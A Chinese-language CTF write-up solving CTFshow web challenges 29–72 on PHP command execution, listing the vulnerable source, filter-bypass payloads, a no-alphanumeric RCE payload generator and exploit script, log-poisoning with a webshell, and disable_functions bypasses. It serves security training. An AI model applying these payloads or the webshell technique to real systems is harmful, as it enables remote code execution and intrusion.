CTFshow-Web入门模块-命令执行
by 故人叹、
web29
考察点:php命令执行、正则匹配绕过
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
源码分析:
- GET传入一个c,并将传入值赋给变量c
- 对c的内容进行正则匹配,匹配不区分大小写的flag,如果c不包含flag,将c的内容当做php命令执行
- 未传入c则显示当前页面源码
思路:绕过正则匹配,执行获取flag的php命令。
有多种方法:
(1)使用命令执行函数来执行命令
常见的命令执行函数:
- system
- passthru
- exec/shell_exec (需要进行输出)
- 等等
先执行ls命令判断flag的位置,此题flag文件在index.php的同级目录中。
尝试获取flag.php的内容,可用 \ 和 '' 绕过正则匹配,执行后查看源码拿到flag。
payload示例:
1. ?c=system("cat fl\ag.php");
2. ?c=system("tac fl''ag.php");
3. ?c=passthru("nl fl\ag.php");
(2)内联执行
使用一对反引号 `` 包含的命令,将该命令的输出作为输入,配合其他获取文件内容的命令,直接显示flag文件的内容。
payload: ?c=system("cat `ls`");
//ls会显示当前目录下的所有文件名,而此处的cat会将执行ls后显示的所有文件的内容都显示出来
(3)利用传参+eval
通过在url中写入GET或POST传参命令,配合eval将传入的参数当做命令执行。
payload: ?c=eval($_GET(1));&1=system("cat fl\ag.php");
(4)传参+文件包含
include加上php伪协议,在知道flag文件名的情况下可以使用。
payload: ?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php
web30
考察点:php命令执行、正则匹配绕过
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
源码分析:
- GET传入一个变量c
- 正则匹配变量c的内容,匹配不区分大小写的flag、system和php
- 不包含以上内容则将c作为命令执行
思路:使用除system之外的命令执行函数或内联执行
payload示例:
1. ?c=passthru("cat `ls`");
// * 为通配符,此处的含义是取到所有以fl开头的文件的内容
2. ?c=echo shell_exec("cat fl*");
3. ?c=passthru("cat fl\ag.ph\p");
web31
考察点:命令执行
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
源码分析:
- GET传参c
- 过滤flag、system、php、cat、sort、shell、小数点、空格和单引号
- 命令执行
思路:过滤了cat,可用tac;过滤空格可用${IFS}、%09、${IFS}$9等;过滤了system可用passthru。
payload示例:
//转义字符,将$识别为文本$,避免执行错误
1. ?c=passthru("tac\${IFS}`ls`");
2. ?c=passthru("tac\${IFS}fla*");
web32
考察点:命令执行、文件包含、php伪协议
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
源码分析:
- 过滤了flag、system、php、cat、shell、反引号、空格、小数点、左括号、分号等
- 使用命令执行限制太多
此处可用文件包含+php伪协议读取flag.php,使用?>替换分号。
payload:
http://1b4aab6b-eba9-4501-ac3f-3954e91a650d.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web33
考察点:命令执行、文件包含、php伪协议
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
增加了单双引号的过滤。
步骤同上,可用文件包含+php伪协议。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
考察点:
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
增加了对冒号(:)的过滤。
步骤同上,可用文件包含+php伪协议。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
考察点:命令执行、文件包含、php伪协议
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
增加了小于号(<)、=的过滤。
步骤同上,可用文件包含+php伪协议。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36
考察点:命令执行、php伪协议、文件包含
题目源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
增加了对数字0-9、斜杠(/)的过滤。
无伤大雅,php伪协议秒了,只不过传参的变量需要改一下,不能用数字。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
考察点:php伪协议、文件包含
题目源码:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
源码分析:
- 提示flag在flag.php中
- 过滤了flag,不区分大小写
- 将c的内容包含
- 输出变量flag
有include函数,就不用再给c传include了,同时过滤了flag,不能使用伪协议filter和input了,此处我们可以使用伪协议data://,写入命令,在源码中可以看到flag。
?c=data://text/plain,<?php system("cat fl*"); ?>
伪协议data:// 是数据流封装器,可用于传输相应格式的数据,通常用来执行php代码,可根据需求对写入内容进行base64编码。
1. data://text/plain,[数据]
2. data://text/plain;base64,[数据的base64编码]
web38
考察点:文件包含、命令执行、php伪协议
题目源码:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
增加了为php、file的过滤,如要使用伪协议data,需要对写入的php代码进行base64编码。
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
这一题也可使用日志注入的方式,写入一句话木马,使用中国蚁剑连接拿flag。
服务器需要开启了记录日志的功能才可以利用这个漏洞。
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
Nginx中的日志分两种,一种是error.log,一种是access.log。error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。
步骤:
(1)通过插件Wappalyzer得知中间件为nginx,尝试访问日志文件。
可以看到日志中保存的时User-Agent的信息,因此明确了注入点。
(2)对该页面进行抓包,在User-Agent中插入一句话木马。
(3)尝试使用蚁剑连接木马,连接的url地址为:
http://66f2dd50-0ed2-433a-b780-b8a61659dade.challenge.ctf.show/?c=/var/log/nginx/access.log
(4)显示连接成功,进入目录寻找到flag。
web39
题目源码:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
源码分析:
- 过滤flag,不区分大小写
- 限制了包含文件的后缀为php
过滤了flag,伪协议filter不能使用;限制了后缀为php,data://仍可用。
在data写入php代码时,结尾已经使用?>闭合,后面的.php会被当成html页面直接显示在页面上,起不到什么作用,相当于执行了一个内容为<?php ...?>的php代码。
执行后源码中可见flag。
?c=data://text/plain,<?php system("cat fl*");?>
web40
考察点:无参数rce
题目源码:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
源码解析:
- GET传参变量c
- 过滤了数字0-9和一系列特殊字符,基本杜绝了使用有参数的函数,此处过滤的括号是中文括号,不是英文括号
我们需要使用一系列无参数的函数构造出访问flag文件的命令,列举此题所用无参函数:
- print_r() 输出内容
- scandir() 查看目录文件名,传入参数“.”可以查看当前目录所有文件名
- localeconv() 返回包含本地数字及货币格式信息的数组,第一项为“.”
- corrent()/pos() 返回数组中的单元,默认取第一个值
- next() 将数组中内部指针向前移动一位,指针默认在首位
- show_source() 查看文件源码
- array_reverse() 将数组逆置
根据上述无参函数,我们可以构造出一串函数,来访问到flag文件。
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
通过scandir(".")读取当前目录下的所有文件,而这个参数“.”由current(localconv())提供。
我们需要取到flag.php的文件,需要借助next()函数使指针指向flag.php,其距离首位有点远,则我们需要先逆向数组。
在这种情况下,再使用next()即可指向flag.php。
此时我们就需要获取flag.php的源代码了,使用show_source()来显示。
拿到了flag。
web41
考察点:无数字字母RCE
题目源码:
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
源码分析:
- POST传参c
- 过滤了数字、字母、异或、自增和取反等符号,无法使用这三个运算符构造命令
- 将c的执行结果输出出来
过滤了异或、自增和取反,没有过滤或(|)运算符,给了我们使用该运算符构造命令的机会。
看了大神的脚本,简要阐明构造思路:
//rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents = "";
//从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
//根据题目的实际情况更改正则匹配语法
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
echo "";
} else {
$a = '%' . $hex_i;
$b = '%' . $hex_j;
$c = (urldecode($a) | urldecode($b));
if (ord($c) >= 32 & ord($c) <= 126) {
$contents = $contents . $c . " " . $a . " " . $b . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
?>
- 打开一个文本文档,用来存储结果
- 设置两个变量,遍历0-255,使用hex_(i/j)分别存储当前数字的十六进制形式,如果当前数字小于16,则在前面补0,保证都是二位
- 判断两个十六进制数的二进制形式是否能被语法匹配,都不能匹配则分别转为url编码
- 判断两个url编码进行或运算后是否为可见字符,是则将内容写入文本文档
- 写入的形式是 [字符] [参与或运算的url编码1] [参与或运算的url编码2]
通过这个脚本,我们可以获得一个字典,来排列组合出我们需要执行的命令。
# exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
- 事先执行上述php代码,获得字典
- 获取需要传参的网址
- 对输入的函数名和命令进行替换,在字典中寻找字符并进行或运算,拼接为字符串
- 通过POST传参将拼接成的字符串传给对应的变量
- 打印命令执行结果
//脚本执行
python exp.py [题目网址]
web42
考察点:重定向命令
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
将命令执行的结果重定向到 /dev/null ,错误信息和执行返回信息都不显示在页面上。
/dev/null 表示一个特殊的设备文件,在 UNIX 和类 UNIX 系统中用于丢弃数据,相当于一个黑洞。将输出重定向到 /dev/null 相当于将输出丢弃,不会在终端或文件中显示。
2>&1 表示将标准错误输出重定向到与标准输出相同的位置。其中,2 表示标准错误输出的文件描述符,&1 表示将其重定向到标准输出的位置。
我们需要进行命令分割,正常执行命令但不执行重定向。
- 分号(;) 终止后面的命令执行
- | 只执行后面的命令
- || 只执行前面的命令
- & 两条命令都会执行(&需要url编码 %26)
- && 两条命令都会执行
- %0a 换行符
payload:
//flag.php
?c=ls;
//源码拿flag
?c=cat flag.php||
web43
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了cat和分号(;),尝试使用其他的输出命令和分隔符。
payload:
//&的url编码 %26
?c=ls%26
?c=ca\t flag.php%26
?c=tac flag.php%26
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了分号、flag、cat,使用其他输出命令,反引号(\)绕过或者使用通配符*。
payload:
?c=ls||
?c=nl fl\ag.php%26
?c=nl fl*%26
web45
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了空格的过滤,可用如下符号绕过:
- > < <> 重定向符
- %09 (需要php环境)
- $
- $IFS$9
- {cat,flag.php} //用逗号实现了空格功能
- %20
- %09
payload:
?c=ls||
?c=tac${IFS}fl\ag.php||
web46
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了数字,*和$,空格绕过%09不属于数字,通配符可用?进行单个字符匹配,仍可使用。
payload: ?c=tac%09fl\ag.php||
web47
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了一些命令的过滤,上题仍可用。
payload: ?c=tac%09fl\ag.php||
web48
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了更多命令的过滤,仍可用上题payload。
payload: ?c=tac%09fl\ag.php||
web49
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了一些过滤,仍可用上题payload。
payload:
?c=tac%09fl\ag.php||
web50
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了%09和%26的过滤,不能使用%09绕过空格,不能使用&作为分隔符。
此处使用<>绕过空格,不可与通配符?连用,否则不回显。
分隔符使用||即可。
payload: ?c=tac<>fl\ag.php||
web51
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了对tac的过滤,可用nl;绕过空格可用<>。
payload: ?c=nl<>fl\ag.php||
web52
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了对>和<的过滤,不能使用<>来绕过空格,但仍可以使用${IFS}。
payload: ?c=nl${IFS}fl\ag.php||
web53
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
源码解析:
- GET传参c
- 过滤了一系列字符,如cat、flag、tac、more、less等命令
- c中没有匹配字符则输出c的内容,并命令执行,输出命令执行结果
没有了上一题的重定向,不需要再使用分隔符,首先用ls查看目录文件,找到flag文件名称后,可用nl作为读取文件命令,绕过空格可用${IFS},绕过flag可用fl\ag。
payload: ?c=nl${IFS}fl\ag.php
或者 ?c=nl${IFS}????.??? 通配符匹配4个字符的文件名,后缀为3个字符的文件,即匹配flag.php
web54
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
源码解析:
- GET传参c
- 匹配许多命令,且包含命令字符的文本也会被匹配
- 命令执行
解决方法:
(1)mv重命名flag文件,url访问
通过ls得知文件名为flag.php,正则匹配未过滤mv命令,可重命名文件并访问。
payload:
?c=mv${IFS}fla?.php${IFS}a.txt
url访问: http://example.com/a.txt
(2)使用cat命令,利用通配符?,指明cat所在目录bin
payload:
//只使用ca?不能匹配到准确的命令,指明bin目录下的cat才可以
?c=/bin/ca?${IFS}fla?.php
(3)使用命令uniq或grep
uniq命令可将指定文件的内容中的重复行合并成一行,并输出出来,也可用于读取文件内容。
payload:
?c=uniq${IFS}fla?.php
grep可以匹配并输出包含指定字符的内容。
命令: grep [匹配字符串] [指定文件]
payload:
?c=grep${IFS}"fla"${IFS}fla?.php
web55
考察点:无字母RCE
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了字母,尝试寻找/bin目录下包含数字的命令:
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
可用base64。
(1)base64+通配符
payload:
?c=/???/????64 ????.???
(2)/usr/bin/bzip2压缩命令,将flag.php压缩为压缩包,访问并下载
payload:
?c=/???/???/????2 ????.???
url访问: http://example.com/flag.php.bz2
(3)bash shell的转义字符
Bash shell中,\是转义字符的开始。当你使用\后跟一个数字时,Bash会将其解释为八进制数,并将其转换为对应的ASCII字符。
可通过 $'[转义字符]'构造命令。
payload:
?c=$'\154\163' ls
?c=$'\143\141\164'%20* cat *
web56
考察点:无字母数字RCE
针对不过滤(.)和问号(?)这两个符号的无字母数字RCE,可用脚本跑。
题目源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了字母数字,%号,杜绝取反和异或;$,杜绝转义,看了其他大神的wp,总结出下面的方法:
可以通过POST上传一个文件,文件中包含命令,通过source命令(.)来执行命令,该文件在linux下面保存在 /tmp/php?????? ,后六个字符为随机生成的大小写,可使用linux匹配符去匹配。
可以通过构造post上传文件的数据包,或者使用python脚本:
(1)数据包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="[传参网站]" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
传入参数 ?c=.%20/???/????????[@-[]
在文件内容中写入命令:
#!/bin/sh
ls
cat /var/www/html/falg.php
(2)python脚本
同样的思路。
import requests
while True:
url = "[自定义网站]/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break
通过循环不断传入文件,直到读取到flag文件的内容为止。
可自定义网站、文件名和执行的命令。
web57
考察点:无数字字母RCE构造数字
题目源码:
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
未过滤$、取反~和左右括号(),提示flag在36.php中,文件名为数字,且程序会直接cat到指定文件内容,需要给c赋值为36。
可使用Bash shell中的双小括号(())来进行构造数字:
- $(()) 代表一次运算,括号内可以填入运算式,因为里面为空,所以结果会被解析为0
- 对0取反可以得到-1,使用表达式表示为$(( ~$(()) ))
- 两个双小括号运算符相连,默认为相加,如$(( $(~$(())) $(( ~$(()))) )) ,-1+(-1)=-2
- 通过上述方法我们可以构造出-37,又-37取反得到36,目的达成,在$(( ~$(( )) ))中放入37个$(( ~$(()) )),即可构造出数字36
python脚本得到payload:
payload = "$((~$(({}))))".format("$((~$(())))"*37)
print(payload)
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
传参后源码拿到flag。
web58-65
考察点:突破禁用函数
题目源码:
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
源码分析:
- 传参方式变为POST
- 源代码无法查看被过滤的命令,需要尝试
经过尝试,常用的system、passthru等命令执行函数都被禁用了,使用其他方法:
(1)include文件包含绕过
c=include$_POST[1];&1=php://filter/read=convert.base64-encode/resource=flag.php
(2)show_source或hightlight_file展示源代码,file_get_contents()文件读取
//show_source
c=show_source("flag.php");
//highlight_file
c=highlight_file("flag.php");
//文件读取,源码看flag
c=echo file_get_contents("flag.php");
(3)无参数函数
c=show_source(next(array_reverse(scandir(current(localeconv())))));
web66
题目源码:
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
使用上题的方法后发现flag位置发生变更:
使用scandir查看主目录信息:
可用highlight_file函数或php伪协议读取flag.txt文件内容。
payload:
1. c=print_r(highlight_file("/flag.txt"));
2. c=include$_POST[a];&a=php://filter/read=convert.base64-encode/resource=/flag.txt
web67
题目源码同上。
print_r函数被禁用,要将scandir读取目录的结果(一个数组)输出,可用var_dump()方法。
同样地,flag文件位置发生了改变。
除去打印函数的变化,其余内容同上题payload:
payload:
1. c=var_dump(highlight_file("/flag.txt"));
2. c=include$_POST['a'];&a=php://filter/read=convert.base64-encode/resource=/flag.txt
web68
此题禁用了highlight_file函数,导致源码无法显示,尝试使用include显示源码,提示字节太大无法显示。
(1)仍可用var_dump和scandir读取目录文件名,并使用include来显示flag文件的内容。
payload:
c=var_dump(scandir('/')); # /flag.txt
c=include("/flag.txt");
(2)可用php类 SplFileObject文件读取类,创建flag文件的实例,调用方法fpassthru()将文件内容输出到缓冲区。
payload:
c=(new SplFileObject("/flag.txt"))->fpassthru();
web69-70
同上题因字节太大,无法读取源码,且var_dump被禁用。
可用其他打印数组内容的方法:
(1)json_encode(),其可将数组转为json格式的字符串
c=echo json_encode(scandir("/"));
(2)implode(间隔符,数组),可将数组内容转为字符串,可设置元素之间的间隔符
c=echo implode("---",scandir("/"));
(3)使用foreach循环打印数组内容(不推荐)
c=foreach(scandir("/") as $a){echo $a." ";}
对于读取文件,可用include包含或者readgzfile()方法,readgzfile()可以读取非gzip格式的文件,并直接返回文件内容。
1. c=include("/flag.txt");
2. c=readgzfile("/flag.txt");
web71
考察点:终止程序方法使用、缓冲区
题目源码:
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
代码分析:
- POST传参c,命令执行c
- 获取到输出缓冲区的内容(即命令执行的结果),赋值给s,后清空缓存区内容
- 将s的内容中的字母和数字都替换为?,然后输出
很明显,这段代码会拦截并更改命令执行的回显内容,我们需要绕过它们。
使用 exit(0)、die()来退出程序,在传参的命令后添加这段语句,可以避免回显内容的替换。
payload:
1. c=include("/flag.txt");exit(0);
2. c=include("/flag.txt");die();
web72
题目源码:
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
此题禁用了scandir方法,可用php类DirectoryIterator来获取目录信息,同时使用glob://协议来获取指定位置的目录信息,保存到一个数组中。
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." ";
}
exit(0);
可以发现flag文件名为flag0.txt
标签:__,Web,入门,GET,cat,flag,源码,CTFshow,php From: https://www.cnblogs.com/yuspace/p/18151181